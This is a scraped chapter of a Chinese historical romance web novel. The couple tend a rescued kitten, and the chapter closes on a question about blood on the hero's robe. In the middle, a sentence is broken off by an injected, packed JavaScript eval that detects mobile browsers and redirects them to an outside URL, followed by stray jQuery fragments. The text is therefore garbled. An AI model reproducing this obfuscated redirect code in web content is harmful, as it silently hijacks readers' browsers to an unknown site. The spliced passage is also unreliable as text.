默认冷灰
24号文字
方正启体

63. 第 63 章

作者:典墨换酒本书字数:K更新时间:
    赵柔柯一病就是三日,这三日她足不出户,整日在房中逗那只捡来的小狸猫,有时就连药也忘了喝,常常是胡氏将药送进房中,盯着她喝药。


    这日,胡氏刚要去给赵柔柯送药,便老远瞧见院中站了个人。周啸阑今日没穿官服,着了天青圆领袍,披着鸦色鹤氅,贵气无双。他走上前将胡氏手中的汤碗接过。


    “我来吧。”


    胡氏倒是很开心他能来,两人又已经定了亲,婚前就这般蜜里调油,以后的生活也可以想象。她将药碗递给了周啸阑嘴角挂着笑离开了。


    赵柔柯听见敲门声以为是胡氏,便让人进来了。她蹲在地上,地上的那个软乎乎的小窝里,小狸猫伸着爪子打哈欠,好像对她的逗弄兴趣缺缺。赵柔柯何曾受过这等待遇,张口便向进来的人“告状”。


    “姨娘您瞧瞧这小东西,大雪天可是我把它给捡回来的,如今它连看我两眼都欠奉,真是岂有此理。”


    见身后人影没回话,她这才转过头,见来人是周啸阑。


    周啸阑将药碗放在桌上,后又将鹤氅挂在一边,这才走上前将蹲在地上的她拉起来。


    他的手指带着外面的寒意,有些冷,动得赵柔柯一瑟缩,“先去喝药。”


    赵柔柯兴致正高涨,不愿意起身,便听见周啸阑在身后说:“喝了药,我便告诉让它理你的法子。”


    赵柔柯一听,眼睛亮晶晶的,上前便将桌上的药汁一饮而尽。


    “好苦……”


    她拧着眉毛,皱着脸抱怨。手掌这时被人展开,一个小小的油纸包放在了她的手心。


    “什么?”赵柔柯看着那鼓鼓的纸包,戳了戳,闻到一股子香气。


    “梅子糖。去苦味的。”周啸阑回她。


    赵柔柯打开纸包,拈起一粒,放入口中,酸甜很快驱散了苦味。


    她还没忘刚刚这人的承诺,走上前捏着他的袖子让他快说。周啸阑看着她捏着他袖子的手,又瞥了一眼地上的小狸猫,不知为何,突然有些嫉妒。


    他嘴角浮起一丝不易察觉的笑,起了一点捉弄人的小心思。他抱起双臂,故作姿态:“告诉你可以,只是我总得讨点好处。”


    赵柔柯:“?”


    只见周啸阑伸出一只手指,点了点自己的脸颊。他在示意她亲他。


    赵柔柯咬牙,又回头看了一眼那地上眯眼打瞌睡的软糯小东西,一把攀住他的肩膀,在他脸上蹭了一下。


    周啸阑本想捉弄下她,谁知她真亲了上来。他有一瞬失神,被她嘴唇轻碰的左脸酥酥麻麻,明明更激烈的吻都有过,可心脏却在此时跳得猛烈。


    在她的气息离开前,周啸阑扣住她的手腕,直直印上她的唇。这个吻并未深入,一触即分。


    亲完他还伸手在自己唇上抚摸,勾起唇角:“我改主意了,我要讨的好处,以后……都得是这样的。”


    赵柔柯连无赖两字都不想骂了,只让他快点说法子。


    周啸阑却不慌不忙,出去了一会儿,回来后手中多了一根竹竿,又在房中看了一圈,问她:“可有棉线?”


    赵柔柯找来了胡氏纳鞋底的棉线,递给了他。周啸阑将棉线绑在竹竿上,又开了口:“还缺一样。”


    “是何物?”赵柔柯不解,两辈子加起来,第一次养这样的小东西。


    周啸阑耐心解释:“人无聊也会想要打马球,玩蹴鞠。猫也有猫的小把戏,它们需要这些小把戏来体验狩猎的乐趣。在竹竿上绑上棉线,在棉线尾端挂一条假的小鱼。在空中挥舞时,猫咪就会跳着来抓鱼。久而久之,它知道你愿意和它玩闹,就能依赖你,更靠近你。”


    赵柔柯一脸恍然大悟:“原来还有这等学问。”


    只是她的绣工实在拿不出手,试了两次,也不知是不是小猫嫌它缝制的假鱼太丑,认不出鱼样子,任她将竹竿在空中挥成叠影,也不睬她,翻了个身继续睡觉。最后还是她央求胡氏替她缝制了一条小鱼缠在棉线上。


    小东西这才趴在地上,兴趣盎然地摇起尾巴,圆眼睛盯着那小鱼,随着赵柔柯的动作上蹿下跳,一人一猫玩得不亦乐乎。


    周啸阑看着她闹,唇畔漫起浅笑:“它可取了名?”


    赵柔柯摇摇头:“还没有想好取何名。”说完,盯着小猫的两只白雪似的爪,灵光一闪。


    “不如叫踏雪?它浑身都是花色,只有脚掌处雪白。”


    周啸阑没有反驳,只看着她逗猫的侧脸:“是你将它捡回来,自然由你定。”


    “以后可是我二人一起养它,它的名字是要叫一辈子的,自然你我要商量着来。”


    周啸阑回道:“嗯。我也觉得,踏雪,甚好。”


    寒风从窗棱处刮过,一片呼呼作响,屋内炉火暖融,一人一猫嬉戏打闹。大抵身子被熏得暖了,周啸阑竟不想下午去上值了。


    见周啸阑立在身后久久不语,赵柔柯以为自己把他晾在一边生气了,便转过身子仰起头看向他。


    “你要陪它玩一会儿么?”


    “好。”


    北镇抚司。程川看着漏刻,张望着门外。


    一个锦衣卫总旗走过来,朝程川拱手:“程千户,指挥使何时来?如今已经过了一个时辰,我等还有其他要务在身,还请给我们个准话。”


    程川摸着脑袋,又看了几眼时辰,也难以回个准话,便遣散了几人,随后对着堂前那把空椅子愣神。


    当初周啸阑初次接管锦衣卫,最是看不惯自由散漫之风,因而定了长达二十项禁令,准时准点,不得延误可是禁令第一条。他自己多年以身作则,今日倒犯了禁。怪哉。


    *


    书院甲舍几个和赵柔柯交好的,都知道她如今有了一只名唤踏雪的小狸猫。有时休沐日就会拿着吃食来逗踏雪,踏雪从不会轻易被收买,无论对方多么腆着脸上赶着逗,它总是一双圆眼睛懒懒看上一眼,接着便合上眼继续睡觉。


    距离捡到它的时间已经一个月过去了,赵柔柯如今的待遇比一个月前好上一点,踏雪有时饿了会主动前来蹭她衣角,也会对它摊开肚子任她抚摸,它从瘦瘦


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16346486|170764||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    小小,长成圆滚滚的一团,一蹭赵柔柯,她心都化了。这种待遇,连周啸阑都没有。


    不过,踏雪倒是对周啸阑要比其他人稍微亲近一点,只是周啸阑只要着官服前来,踏雪就会变得格外暴躁。几次三番的,周啸阑内心也有了数,即便是午间过来,也会换身衣裳。


    这日,周啸阑从北镇抚司来时因为来得急,便未着常服。谁知还在赵柔柯怀中撒娇任摸的小狸猫,见他进来,一跃而下,长毛竖起,摆出一副攻击的样子。这次比起之前好像更加严重,赵柔柯去摸它,反而被抓了一下。


    “嘶——”她忍不住痛到吸气,白嫩的手背,霎时一道红色血痕。周啸阑见她眼尾发红,眸中似有水雾,面色发沉,拉过她的手,叫了翠竹将药箱拿进房间,仔细清了创口,又上了一遍药膏。


    结束之后,也不管踏雪是否排斥它,直接捏住它的后脖颈将它提到屋内角落的竹笼里。竹笼里用厚厚的棉絮还有棉布围了一圈,不会冻着它。只是踏雪现在很好动,喜欢满屋子蹿。这样关它,踏雪圆眼睛里流露出一丝委屈,喵呜一声看向赵柔柯。


    “你同只猫计较什么。只是被挠了一下。”


    周啸阑只看向她的伤口:“它伤了你。”


    随后又看向踏雪,半是威胁,半是警告:“野性难驯。再有下次,劁了你。”


    自从有了踏雪,赵柔柯的目光便很少在他身上,整日都是那只猫,偏偏......还是只公猫。


    他如今认识她快要一年了,也只得了她一只荷包,一把扇子。这小东西只来了一个月,上到吃住,下到玩具,都是赵柔柯亲手操持。他还比不得一只猫么?


    赵柔柯忍不住笑出声来,周啸阑如今的表情,有哀怨,委屈,还有点不甘心。这样看来,还真像是一只大狗狗。她伸出手指,在他下巴上挠了一下。


    “关了只猫,这还有只大狗狗。”


    周啸阑眼神看过来,泄愤似的在她指尖咬了一下。


    “说谁是狗。”他声音听起来有点咬牙切齿。她竟拿他跟这小畜生比?真烦。她捡回来的小猫,又不能再丢出去。


    赵柔柯只感觉指尖触上一片湿热,随后又酥又麻,连忙抽回。


    “你真是......”没脸没皮。


    周啸阑从她眼神读出了她想要说的,轻轻笑了一下。


    屋内顿时平静下来,赵柔柯这才看向自己被抓伤的手,又看向了周啸阑的袍子。刚刚他走进来时没注意,现在离得很近,她看得分明,袍角有一片暗色,不细看看不出来。


    是人血么?周啸阑常在诏狱待着,诏狱中刑罚上百种,不沾血是不可能的。


    刚刚踏雪如此暴躁,不知是不是和这血有关。上次她的一位甲舍同窗来,说起自家猫有对人血敏感,当时她并未在意,又想到昨日她那血符从脖子上掉下来,踏雪也是暴躁地蹿来蹿去。


    踏雪到底是对人血敏感,还是对所有的血都敏感。


    那日沈沐川,对她说的是真话么?这血符,到底是人血,还是鹿血?
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)